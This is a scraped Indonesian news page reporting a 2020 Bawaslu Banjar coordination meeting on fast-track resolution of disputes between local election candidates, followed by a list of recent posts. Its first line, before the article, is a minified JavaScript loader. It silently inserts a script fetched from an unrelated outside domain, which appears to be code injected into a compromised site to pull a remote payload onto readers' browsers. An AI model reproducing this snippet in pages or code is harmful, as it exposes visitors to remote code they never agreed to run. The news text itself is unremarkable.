(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJAR

Bawaslu Banjar Gelar Rakor Penyelesaian Sengketa Acara Cepat


KANALKALIMANTAN.COM, MARTAPURA – Masa kampanye sejak 26 September hingga 5 Desember 2020 bisa menimbulkan gesekan antar peserta. Penyelesaian sengketa acara cepat dianggap sebagai metode dalam menyelesaikan masalah antar peserta pemilihan, sesuai peraturan Bawaslu nomor 2 tahun 2020 tentang tata cara penyelesaian sengketa Pilkada.

Selain mengatur tentang tata cara penyelesaian sengketa antara penyelenggara dengan peserta pemilihan, ada hal baru yang diatur yakni penyelesaian sengketa antar peserta pemilihan dengan metode penyelesaian sengketa acara cepat.

Penyelesaian sengketa acara cepat merupakan domain Panwas Kecamatan yang mana mereka diharapkan mampu menyelesaikan masalah di antara peserta pemilihan pada masa kampanye.

Ramliannoor, Divisi Penyelesaian Sengketa Bawaslu Kabupaten Banjar, saat acara rapat kordinasi penyelesaian sengketa antar peserta, Panwascam bersama stakeholder, Sabtu (7/11/2020), permasalahan penyelesaian sengketa ini adalah Alat Peraga Kampanya (APK).

Diantaranya ada dua kecamatan yakni Kecamatan Paramasan dan Kecamatan Martapura Timur yang melaporkan ke Bawaslu Kabupaten Banjar, tetapi tidak melengkapi berkas administrasi.

“Ada dua kecamatan dalam pengawasan ini tidak melakukan secara administrasi, hanya antar tim pemenangan dan Panwascam, tetapi tidak melakukan pengisian pelaporan secara administrasi,” katanya.

Ia menjelaskan terjadinya hal seperti tidak melaksanakan administrasi kemungkinan ketidaktahuan atau paham tentang penyelesaian sengketa acara cepat.

Dalam acara rapat kordinasi Bawaslu Banjar ini membahas kembali pengertian tugas secara struktural dan materi penjelasan cara penyelesaian acara cepat sengketa antar peserta.

“Hendaknya masalah dapat diselesaikan dengan metode penyelesaian sengketa acara cepat, dan peserta pemilihan sebaiknya tidak menempuh jalur pelanggaran yang berujung pada pemberian sanksi kepada salah satu peserta,” terang Koordinator Divisi Penyelesaian Sengketa Bawaslu Banjar ini.(kanalkalimantan.com/putra)

 

Reporter: Putra
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.